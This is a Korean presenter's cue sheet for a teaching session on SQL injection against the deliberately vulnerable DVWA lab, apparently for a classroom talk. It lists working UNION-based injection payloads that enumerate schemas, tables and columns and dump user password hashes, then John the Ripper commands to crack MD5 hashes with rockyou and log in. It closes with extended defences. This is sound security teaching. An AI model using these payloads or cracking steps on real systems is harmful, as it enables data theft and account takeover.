

SQL Injection / DVWA

발표자 큐시트 - 개념 설명 + 실습 동선 + 방어 포인트

발표 목적	SQL Injection이 왜 발생하는지, DB에서 실제로 어떤 일이 벌어지는지, 왜 Prepared Statement가 방어의 핵심인지 설명한다.
실습 범위	Kali Linux + Metasploitable/DVWA 같은 의도적으로 취약한 로컬 랩. 실제 사이트, 학교/회사 서버, 외부 IP 대상 금지.
발표 흐름	DB -> SQL -> Injection -> UNION -> information_schema -> hash/dictionary attack -> 방어
핵심 한 문장	SQL Injection은 입력값이 데이터로만 취급되지 않고 SQL 코드처럼 해석되면서 발생하는 취약점이다.

발표 시작 멘트

오늘 실습은 공격 기술을 따라 하는 시간이 아니라, 개발자가 만든 SQL 문장과 사용자가 입력한 데이터의 경계가 무너지면 어떤 일이 생기는지 눈으로 확인하는 시간입니다.

안전 경계

모든 명령과 페이로드는 DVWA/Metasploitable 같은 교육용 취약 VM에서만 사용합니다. 공개 인터넷 서비스에 적용하면 법적 문제가 생길 수 있습니다.

0. 전체 발표 흐름: 꼬리 물기 지도

이 장은 발표 중 현재 위치를 잃지 않기 위한 길잡이입니다. 한 개념을 설명한 뒤 바로 다음 실습 질문으로 넘기면 자연스럽게 됩니다.

DB는 데이터를 저장한다

- > SQL은 DBMS에게 데이터를 조회/추가/삭제하라고 지시하는 언어다
- > 웹 로그인/글쓰기/검색은 서버 안에서 SQL로 바뀐다
- > 입력값이 SQL 코드와 섞이면 Injection이 된다
- > UNION SELECT로 원래 결과에 공격자가 고른 결과를 붙인다
- > information_schema로 DB 구조를 파악한다
- > users 테이블에서 user/password hash를 읽는다
- > hash는 복호화가 아니라 후보값 비교로 맞힌다
- > 방어 핵심은 Code와 Data를 끝까지 분리하는 것이다

구간	관객에게 던질 질문	바로 이어지는 설명
DB/SQL	회원가입 정보는 어디에 저장될까요?	DBMS가 저장하고, SQL이 그 DBMS에게 명령을 내린다.
Injection	입력칸에 숫자 대신 SQL 조각이 들어가면?	개발자가 의도한 SELECT 문이 다른 SELECT 문으로 변형된다.
UNION	왜 SELECT 1을 같이 넣을까요?	원래 쿼리와 칼럼 개수를 맞추기 위한 더미 값이다.
정보 수집	테이블 이름을 몰라도 어떻게 찾을까요?	MySQL/MariaDB의 information_schema에서 DB 구조를 읽는다.
해시	해시는 복호화할 수 없는데 왜 비밀번호가 나올까요?	복호화가 아니라 후보 단어를 같은 방식으로 해싱해 비교한다.
방어	필터링만 하면 충분할까요?	핵심은 Prepared Statement로 SQL 코드와 입력 데이터를 분리하는 것이다.

1. 개념 파트: DB, DBMS, SQL을 먼저 잡기

용어	발표용 짧은 정의	한 줄 비유
DB	디지털 정보를 저장하는 구조화된 저장소	도서관의 책장
DBMS	DB를 관리하고 SQL 요청을 실행하는 프로그램. 예: MariaDB, MySQL, PostgreSQL	도서관 사서
SQL	Structured Query Language. 데이터를 가져오고, 넣고, 고치고, 지우는 구조화된 질의 언어	사서에게 쓰는 요청서
Query	DBMS에게 보내는 SQL 명령문	요청서 한 장
Result Set	SELECT 결과로 돌아오는 행과 열의 묶음	사서가 찾아 준 책 목록

발표 때는 SQL을 먼저 어렵게 설명하지 말고, 웹사이트 기능과 연결하세요.

회원가입 -> INSERT INTO users (...) VALUES (...)
 로그인 -> SELECT * FROM users WHERE user='...' AND password='...'
 글쓰기 -> INSERT INTO posts (title, body, user_id) VALUES (...)
 검색 -> SELECT * FROM products WHERE name LIKE '%검색어%'
 삭제 -> DELETE FROM posts WHERE id = ...

말할 문장

사용자는 브라우저에서 버튼을 누르지만, 서버 안쪽에서는 대부분 'SQL 문장 만들기 -> DBMS에 전달 -> 결과를 HTML로 보여주기'가 반복됩니다.

```
[브라우저 입력] id = 1
|
v
[PHP/웹 서버] SELECT first_name, last_name FROM users WHERE user_id = '1';
|
v
[MariaDB/DBMS] users 테이블 조회
|
v
[웹 화면] First name / Surname 출력
```

2. Injection: 데이터가 코드로 해석되는 순간

Injection은 '주입'입니다. SQL Injection은 개발자가 만든 SQL 문장 안에 사용자의 입력값이 들어갈 때, 그 입력값이 단순한 데이터가 아니라 SQL 코드처럼 해석되는 현상입니다.

상황	서버가 만들 SQL	문제
정상 입력	... WHERE user_id = '1';	입력값 1은 데이터로만 동작한다.
취약 입력	... WHERE user_id = '' UNION SELECT ... #';	작은따옴표로 문자열을 닫고, UNION SELECT라는 새 SQL 코드를 이어 붙인다.
주석 처리	# 뒤쪽 원래 SQL 조각을 무시	남은 따옴표나 조건을 주석으로 밀어내 문법 오류를 줄인다.

핵심은 개발자 의도와 사용자 입력의 경계가 무너지는 점입니다.

개발자 의도:

```
SELECT first_name, last_name FROM users WHERE user_id = '$id';
```

사용자 입력이 1이면:

```
SELECT first_name, last_name FROM users WHERE user_id = '1';
```

사용자 입력이 ' UNION SELECT 1, schema_name FROM information_schema.schemata # 이면:

```
SELECT first_name, last_name FROM users WHERE user_id = ''
UNION SELECT 1, schema_name FROM information_schema.schemata #';
```

UNION SELECT 설명 포인트

UNION은 두 SELECT 결과를 한 화면에 합치는 기능입니다. 단, 양쪽 SELECT의 칼럼 개수가 맞아야 합니다. DVWA의 원래 쿼리는 first_name, last_name 두 칼럼을 보여주므로, 실습 페이로드도 SELECT 1, schema_name처럼 두 칼럼으로 맞춥니다.

3. 해시와 Dictionary Attack: '복호화'가 아니라 '비교'

비밀번호 저장 설명은 실습 전에 짚고 넘어가면, 왜 DB에서 password 컬럼을 가져와도 바로 로그인할 수 없는지 관객이 이해하기 쉽습니다.

개념	발표용 정의	강조할 점
Plain Text	암호화/해시 처리 전의 원문 비밀번호	실제 서비스는 평문 저장을 피해야 한다.
Hash	입력을 고정 길이 문자열로 바꾸는 단방향 함수 결과	복호화가 아니라 같은 입력이면 같은 출력인지 확인한다.
Salt	사용자마다 다르게 붙이는 랜덤 값	같은 비밀번호라도 다른 해시가 나오게 만든다.
MD5	매우 빠른 오래된 해시 함수	DVWA 실습용으로는 보이지만, 실제 비밀번호 저장에는 부적절하다.
Dictionary Attack	사전 단어들을 하나씩 해싱해 DB 해시와 비교하는 방식	약한 비밀번호가 빨리 드러난다.

저장 시:
password → MD5(password) → 5f4dcc3b5aa765d61d8327deb882cf99

검증 시:
사용자가 입력한 password → MD5(password) → 저장된 해시와 비교

Dictionary Attack:
rockyou 후보 단어 1개 → MD5 → DB 해시와 비교
rockyou 후보 단어 다음 → MD5 → DB 해시와 비교
일치하면 평문 후보를 알아낸다

중요 정정 멘트

해시는 '복호화'가 불가능합니다. John이 해시를 복호화하는 것이 아니라, 후보 비밀번호를 같은 알고리즘으로 해싱해서 결과가 같은지 비교하는 것입니다.

실무 방어 멘트

실제 서비스는 MD5/SHA-1 같은 빠른 해시가 아니라 Argon2id, bcrypt, PBKDF2 같은 느린 비밀번호 해시 알고리즘과 사용자별 salt를 사용합니다.

4. 실습 시작 전 체크리스트

체크	명령/화면	발표 중 말할 포인트
VM 네트워크	Kali / Metasploitable 둘 다 Bridged	두 VM이 같은 네트워크에 붙어 있어야 브라우저와 요청이 오간다.
IP 확인	ip addr 또는 hostname -I	대상 IP를 확인해 http://<IP>/dvwa 로 접속한다.
연결 확인	ping <Metasploitable_IP>	안 되면 Bridged 어댑터, 방화벽, IP 대역을 먼저 확인한다.
DVWA 로그인	admin / password	DVWA 기본 실습 계정으로 로그인한다.
보안 레벨	DVWA Security -> Low	Low는 입력값 검증이 약해 원리를 눈으로 보기 좋다.
실습 메뉴	SQL Injection	User ID 입력값이 서버 쿼리의 \$id 자리에 들어간다.

발표용 안전 멘트

지금부터 입력할 SQL 조각은 교육용 취약 애플리케이션에서만 실행합니다. 원리를 이해한 뒤에는 같은 현상이 실제 서비스에서 생기지 않도록 막는 방법까지 같이 보겠습니다.

데모 전에 브라우저 탭을 3개 준비하면 진행이 매끄럽습니다.

탭	열어둘 것	용도
1	http://<IP>/dvwa/login.php	로그인 상태 확인
2	DVWA Security	Low 확인
3	SQL Injection	페이로드 입력 실습

5. DVWA Low 소스 보기: 취약한 줄 설명

소스 보기는 반드시 짚고 넘어가세요. '마법처럼 뚫린다'가 아니라, 입력값이 SQL 문자열에 직접 붙기 때문에 문제가 생긴다는 것을 보여주는 장면입니다.

```
$id = $_REQUEST['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysqli_query($GLOBALS["__mysqli_ston"], $query);
```

코드 조각	뜻	위험한 이유
<code>\$_REQUEST['id']</code>	사용자가 입력한 User ID	공격자가 마음대로 바꿀 수 있는 값이다.
<code>'\$id'</code>	입력값을 SQL 문자열 안에 직접 삽입	작은따옴표를 입력하면 문자열 경계를 깨뜨릴 수 있다.
<code>mysqli_query(..., \$query)</code>	완성된 SQL을 DBMS에 실행 요청	DBMS는 문자열 출처를 모른다. 완성된 SQL만 보고 실행한다.
<code>first_name, last_name</code>	화면에 출력되는 두 개 칼럼	UNION SELECT도 두 칼럼 개수를 맞춰야 화면에 보인다.

관객에게 던질 질문

여기서 \$id가 숫자만 들어온다고 가정했지만, 사용자가 작은따옴표나 SELECT 문을 넣으면 서버는 그걸 어떻게 구분할까요? 바로 이 구분 실패가 SQL Injection입니다.

6. 실습 페이로드: 단계별로 이유까지 설명하기

아래 표는 발표 중 그대로 보고 따라가면 됩니다. 페이로드는 DVWA Low / MariaDB 기준입니다. URL에 직접 넣을 때는 #을 %23으로 인코딩해야 할 수 있습니다.

단계	입력값	기대 결과	왜 하는가
0. 정상 조회	1	User ID 1의 이름 출력	원래 기능 확인
1. 전체 출력 확인	1' OR '1'='1' #	여러 사용자가 출력될 수 있음	참 조건을 주입하면 WHERE 조건이 무력화됨
2. DB 목록	' UNION SELECT 1, schema_name FROM information_schema.schemata #	dvwa, information_schema 등 표시	DB 이름을 모를 때 메타데이터에서 찾음
3. dvwa 테이블	' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema='dvwa' #	users, guestbook 등 표시	공격자가 관심 있는 테이블 후보 파악
4. users 컬럼	' UNION SELECT column_name, column_type FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users' #	user, password 등 컬럼 표시	어떤 열에 계정/해시가 있는지 확인
5. 계정/해시	' UNION SELECT user, password FROM users #	admin, pablo 등의 해시 표시	계정명과 해시를 화면에 붙여 출력

오타 주의

information_schema, schema_name, table_name, column_name, column_type, table_schema가 정확한 이름입니다. information_schema 사이에는 밑줄(_)이 들어갑니다.

왜 SELECT 1, schema_name 인가?

원래 화면은 first_name / last_name 두 칼럼을 출력한다.

UNION으로 붙일 SELECT도 두 칼럼이어야 한다.

그래서 첫 칼럼은 더미 값 1, 둘째 칼럼은 보고 싶은 schema_name을 넣는다.

7. 페이로드를 설명하는 말: 결과보다 원리를 강조

페이로드 요소	발표 중 설명
'	원래 SQL에서 문자열을 감싸던 작은따옴표를 달아, 뒤에 SQL 코드를 이어 붙일 공간을 만든다.
OR '1'='1'	항상 참인 조건을 만들어 WHERE 조건을 사실상 무력화한다. 인증 우회 설명에도 자주 쓰이는 예시다.
UNION SELECT	원래 SELECT 결과 밑에 또 다른 SELECT 결과를 붙인다. 화면에 DB 구조나 계정 해시를 노출시키는 데 사용된다.
information_schema	MySQL/MariaDB가 갖고 있는 메타데이터 DB다. DB 목록, 테이블 목록, 컬럼 목록 같은 구조 정보가 들어 있다.
#	MySQL 계열에서 한 줄 주석으로 쓰인다. 원래 쿼리 뒤쪽에 남은 따옴표나 조건을 무시시키는 역할을 한다.
WHERE table_schema='dvwa'	전체 DB가 아니라 dvwa 데이터베이스 안쪽 테이블/컬럼만 보겠다는 필터다.

발표에서 절대 놓치지 말아야 할 연결 문장

- 1) 처음에는 user_id가 숫자라고 가정한 정상 기능이었다.
- 2) 하지만 입력값이 SQL 문자열에 그대로 붙으면서 작은따옴표로 문장 구조를 바꿀 수 있었다.
- 3) UNION SELECT는 원래 화면 출력 통로를 재사용한다.
- 4) information_schema는 DB 구조를 알려주는 지도 역할을 한다.
- 5) 그래서 테이블 이름을 몰라도 구조 탐색 -> 컬럼 확인 -> 해시 추출로 이어진다

중간 질문 대응

'DB 이름이나 테이블 이름을 모르는데 어떻게 찾나요?'라는 질문에는 'DBMS 자체가 관리 편의를 위해 구조 정보를 저장하는 information_schema를 갖고 있고, 취약하면 그 정보까지 조회될 수 있다'고 답하면 됩니다.

8. 해시 식별과 John the Ripper 실습

이 단계의 목적은 'DB에 평문 비밀번호가 없어도 약한 해시와 약한 비밀번호는 위험하다'는 점을 보여주는 것입니다.

1) 터미널에서 해시 종류 추정

```
hash-identifier
```

해시 붙여넣기 -> MD5 후보 확인

hash-identifier가 없다면 대체

```
hashid <해시값>
```

2) 바탕화면으로 이동 후 해시 저장

```
cd ~/Desktop
```

```
echo '<해시값>' > hash.txt
```

3) rockyou wordlist 준비: 이미 풀려 있으면 오류가 나도 무시 가능

```
sudo gzip -dk /usr/share/wordlists/rockyou.txt.gz >/dev/null || true
```

4) John으로 Raw-MD5 dictionary attack

```
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash.txt
```

5) 결과 다시 보기

```
john --show --format=Raw-MD5 hash.txt
```

명령	발표 때 말할 포인트
hash-identifier / hashid	해시 문자열 길이와 패턴으로 가능한 알고리즘을 추정한다. 100% 확정은 아니므로 실습 맥락과 함께 본다.
echo '<hash>' > hash.txt	John은 파일에 저장된 해시를 대상으로 검사한다.
rockyou.txt	유출/약한 비밀번호 후보가 들어 있는 대표적인 학습용 wordlist다. 실무에서는 허가된 감사 범위에서만 사용한다.
--format=Raw-MD5	DVWA Low 실습 해시가 일반 MD5 형태라서 형식을 지정한다. John 버전에 따라 raw-md5 소문자도 동작할 수 있다.
john --show	이미 찾은 결과를 다시 출력한다. John은 결과를 pot 파일에 저장해 재사용한다.

중요 멘트

John이 해시를 역산하는 것이 아닙니다. rockyou의 후보 단어를 하나씩 MD5로 변환한 뒤, DB에서 가져온 해시와 같은지 비교합니다.

9. 크랙 결과로 로그인: 영향도 설명

계정 해시를 얻은 뒤 약한 비밀번호가 맞혀지면, 단순 정보 노출이 계정 탈취로 이어질 수 있음을 보여줍니다.

[브라우저]

1. DVWA logout
2. username: pablo # 또는 덤프 결과에서 확인한 사용자명
3. password: <john --show 결과>
4. 로그인 성공 여부 확인

관찰	발표 해석
users 테이블에서 password 컬럼이 해시로 보임	평문 저장은 아니지만, MD5처럼 빠른 해시와 약한 비밀번호는 dictionary attack에 취약하다.
pablo 계정으로 로그인 성공	SQL Injection이 단순 조회 취약점이 아니라 계정 탈취와 권한 오용으로 이어질 수 있음을 보여준다.
admin 해시도 보일 수 있음	DB 권한이 과도하면 일반 조회 기능 하나가 전체 계정 정보 노출로 이어질 수 있다.

영향도 연결:

SQL Injection -> DB 구조 노출 -> 사용자 테이블 발견 -> 해시 추출
-> 약한 해시/비밀번호 크랙 -> 계정 로그인 -> 추가 권한 오용 가능

발표에서 균형 잡기

이 장면은 '해킹 성공'을 보여주기보다, 개발자가 입력값 처리와 비밀번호 저장을 잘못 설계했을 때 피해가 연쇄적으로 커진다는 것을 보여주는 장면이라고 설명하세요.

10. 막으려면: Code와 Data의 분리

방어 파트는 실습의 결론입니다. 키워드는 Code와 Data의 분리입니다. SQL 문장의 뼈대는 코드로 고정하고, 사용자 입력은 값으로만 바인딩해야 합니다.

방어	발표용 설명	한계/주의
Prepared Statement	SQL 뼈대를 먼저 정하고, 입력값은 ? 자리에 값으로 바인딩한다. DBMS가 코드와 데이터를 구분한다.	가장 중요한 1차 방어. 동적 테이블명/정렬명은 별도 allowlist 필요.
입력값 검증	User ID라면 숫자만 허용하거나 정수로 변환한다.	필터링만으로 SQLi를 완전히 막겠다고 생각하면 위험하다.
DB 권한 최소화	웹 앱 계정에는 필요한 테이블/동작 권한만 준다.	뚫렸을 때 피해 범위를 줄이는 추가 방어다.
에러 메시지 숨김	SQL 오류, 경로, 쿼리 내용을 사용자 화면에 노출하지 않는다.	로그에는 남기되 사용자에게는 일반 오류로 보여준다.
WAF	UNION, information_schema 같은 전형적 패턴을 탐지/차단할 수 있다.	우회 가능하므로 보안 코딩을 대체할 수 없다.
비밀번호 저장	Argon2id/bcrypt/PBKDF2 + salt 같은 비밀번호 전용 해시 사용	DB가 노출되어도 cracking 비용을 크게 높인다.

취약 코드와 방어 코드 비교

```
// 취약: 입력값을 SQL 문자열에 직접 이어 붙임
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

// 방어 예시: Prepared Statement + 바인딩
$stmt = $mysqli->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?");
$stmt->bind_param("i", $id); // i = integer
$stmt->execute();
```

정리 멘트

SQL Injection 방어의 핵심은 '나쁜 문자를 다 막자'가 아니라, 애초에 입력값이 SQL 문법으로 해석될 수 없는 구조를 만드는 것입니다.

11. 방어를 한 겹 더: 권한, 로그, WAF

방어층	무엇을 막나	발표 예시
Prepared Statement	입력값이 SQL 코드로 변하는 것	'UNION SELECT'를 넣어도 문자열 값으로만 취급
Allowlist Validation	예상 범위를 벗어난 값	User ID는 1, 2, 3 같은 숫자만 허용
Least Privilege	침해 후 피해 확산	웹 계정에는 users 전체 덤프 권한이 없게 설계
Secure Password Hashing	해시 유출 후 빠른 크랙	MD5 대신 Argon2id/bcrypt/PBKDF2 + salt
Error Handling	공격자에게 쿼리 구조 힌트 제공	SQL syntax error를 그대로 보여주지 않음
WAF/Logging	전형적인 공격 패턴 탐지	UNION, information_schema, 비정상 500 반복 등을 알림

방어 우선순위:

1. Prepared Statement / Parameterized Query
2. 타입 기반 입력 검증: 숫자는 숫자로, 선택지는 allowlist로
3. DB 계정 권한 최소화
4. 안전한 비밀번호 해시와 salt
5. 오류 메시지 최소화와 보안 로그
6. WAF는 보조 안전망

WAF 설명

WAF는 HTTP 요청 패턴을 보고 전형적인 공격을 차단할 수 있지만, 애플리케이션 코드가 취약하면 근본 해결이 아닙니다. WAF는 안전벨트, Prepared Statement는 브레이크라고 비유하면 이해가 쉽습니다.

12. 발표 중 막혔을 때: 빠른 복구표

증상	확인할 것	빠른 멘트/대처
DVWA 접속 안 됨	VM 둘 다 Bridged인지, 대상 IP가 맞는지, ping 되는지	네트워크 연결부터 확인하겠습니다. 실습은 같은 사설망 안에서만 진행합니다.
로그인 안 됨	admin/password, DVWA DB 초기화 여부	DVWA 기본 계정 또는 DB 초기화 상태를 확인합니다.
SQLi 결과가 안 나옴	DVWA Security가 Low인지, 작은따옴표/공백/#이 정확한지	보안 레벨이 높으면 같은 페이로드가 막히도록 설계되어 있습니다.
URL에 #이 걸림	주소창 직접 입력 시 #을 %23으로 바꿨는지	브라우저 URL 문법 때문에 # 뒤가 서버로 안 갈 수 있습니다.
information_schema 오류	밀줄 포함 여부, schema_name/table_name/column_name 오타	메타데이터 이름은 오타가 나면 바로 실패합니다.
hash-identifier 없음	hashid 설치 여부 또는 John 자동 인식	도구 이름은 환경마다 다를 수 있어 대체 명령으로 진행합니다.
rockyou.txt 없음	/usr/share/wordlists/rockyou.txt.gz 존재 여부	압축된 wordlist를 풀어서 사용합니다.
John이 못 읽음	hash.txt에 공백/따옴표가 섞였는지, --format=Raw-MD5	해시 파일에는 해시 문자열만 한 줄로 넣어야 합니다.

13. 7분 발표 대본: 슬쩍 보고 말하기

시간	말할 내용	보여줄 화면
0:00-0:40	DB는 디지털 정보 저장소이고, SQL은 DBMS에게 데이터를 조회/추가/삭제하라고 요청하는 언어입니다.	개념 페이지 또는 화이트보드
0:40-1:30	웹 로그인/검색/글쓰기 뒤에서는 서버가 SQL 문장을 만들고 DB에 보냅니다.	DB/SQL 흐름도
1:30-2:20	SQL Injection은 입력값이 데이터가 아니라 SQL 코드로 해석되는 문제입니다.	취약 코드 소스 보기
2:20-4:20	UNION SELECT로 DB 구조를 확인합니다. information_schema는 DB의 지도 역할을 합니다.	SQL Injection 메뉴
4:20-5:30	users 테이블에서 계정명과 password 해시를 봅니다. 해시는 복호화가 아니라 후보값 비교로 맞습니다.	터미널: hashid / john
5:30-6:20	약한 해시와 약한 비밀번호는 계정 탈취로 이어질 수 있습니다.	pablo 로그인
6:20-7:00	방어는 Code와 Data를 분리하는 Prepared Statement가 핵심입니다. WAF와 필터링은 보조입니다.	방어 요약 표

마무리 한 문장

오늘의 결론은 '입력값을 믿지 말자'가 아니라, 입력값이 코드로 해석될 수 없는 구조를 만들자는 것입니다.

14. 예상 질문과 짧은 답변

질문	답변
왜 비밀번호가 바로 안 보이고 이상한 문자열로 보이나요?	비밀번호를 평문으로 저장하지 않고 해시로 저장하기 때문입니다. 다만 DVWA는 실습용이라 MD5처럼 약한 방식입니다.
해시는 암호화랑 다른가요?	다릅니다. 암호화는 키가 있으면 복호화가 가능하지만, 해시는 원칙적으로 되돌리는 기능이 없습니다. 대신 같은 입력은 같은 해시가 됩니다.
Prepared Statement가 왜 안전한가요?	SQL 코드는 먼저 고정하고 입력값은 나중에 값으로만 전달하기 때문에, 입력값 안의 SQL 조각이 문법으로 실행되지 않습니다.
WAF만 있으면 되나요?	아니요. WAF는 보조 방어입니다. 근본 해결은 안전한 쿼리 작성과 권한 최소화입니다.
Low 말고 High/Impossible은 왜 필요한가요?	같은 기능을 더 안전하게 구현하면 공격이 어떻게 막히는지 비교하기 위해 단계가 나뉘어 있습니다.
실제 사이트에도 해봐도 되나요?	허가 없는 테스트는 안 됩니다. 오늘 페이로드는 교육용 랩에서만 사용해야 합니다.

15. 네 원문에서 바로잡아 둔 표기

발표 중 타이핑 실수를 줄이기 위해, 자주 틀리는 철자와 구문을 한 번 더 모았습니다.

원문/주의	정정/권장	설명
Structed Query Language	Structured Query Language	SQL의 정식 풀네임
informationschema	information_schema	MySQL/MariaDB 메타데이터 DB. 밑줄 필수
schemaname	schema_name	DB 이름 컬럼
tablename	table_name	테이블 이름 컬럼
columnname	column_name	컬럼 이름 컬럼
columntype	column_type	컬럼 타입 컬럼
tableschema	table_schema	소속 DB 이름 컬럼
sudo gzip -d rockyou.txt.gz	sudo gzip -dk rockyou.txt.gz	-k를 붙이면 원본 gz도 보존

정정본 페이로드 4종:

```
' UNION SELECT 1, schema_name FROM information_schema.schemata #
' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema='dvwa' #
' UNION SELECT column_name, column_type FROM information_schema.columns WHERE table_schema='dvwa' AND
table_name='users' #
' UNION SELECT user, password FROM users #
```

16. 참고한 공식 문서

발표 자료의 신뢰도를 위해 마지막에 출처를 짧게 붙여두었습니다.

문서	발표에서 참고한 내용
DVWA 공식 GitHub	DVWA는 PHP/MariaDB 기반의 의도적으로 취약한 교육용 웹 애플리케이션이며, 공개 인터넷 서버에 올리지 말라고 경고한다.
OWASP SQL Injection Prevention Cheat Sheet	SQL Injection은 문자열 연결 기반 동적 쿼리에서 발생하며, Prepared Statement/Parameterized Query가 1차 방어다.
OWASP Password Storage Cheat Sheet	평문 저장 금지, Argon2id/bcrypt/PBKDF2 같은 느린 비밀번호 해시와 salt 권장.
Openwall John the Ripper Documentation	John은 약한 비밀번호를 탐지하기 위한 password cracker이며 wordlist 모드와 --show 기능을 제공한다.

출처 URL:

- <https://github.com/digininja/DVWA>
- https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html
- <https://www.openwall.com/john/doc/>